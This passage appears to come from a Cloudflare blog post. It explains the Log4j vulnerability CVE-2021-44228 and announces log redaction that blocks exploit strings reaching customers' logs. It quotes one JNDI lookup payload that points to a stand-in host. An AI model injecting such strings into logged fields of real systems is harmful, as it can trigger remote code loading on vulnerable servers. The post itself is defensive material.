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On December 9, 2021, the world learned about CVE-2021-44228, a zero-day exploit affecting the Apache Log4j utility. Cloudflare immediately updated our WAF to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.
However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.
Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our developer docs or see details below.
How the attack works
You can read more about how the Log4j vulnerability works in our blog post here. In short, an attacker can add something like ${jndi:ldap://example.com/a}
in any string. Log4j will then make a connection on the Internet to retrieve this object.
Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a remote Continue reading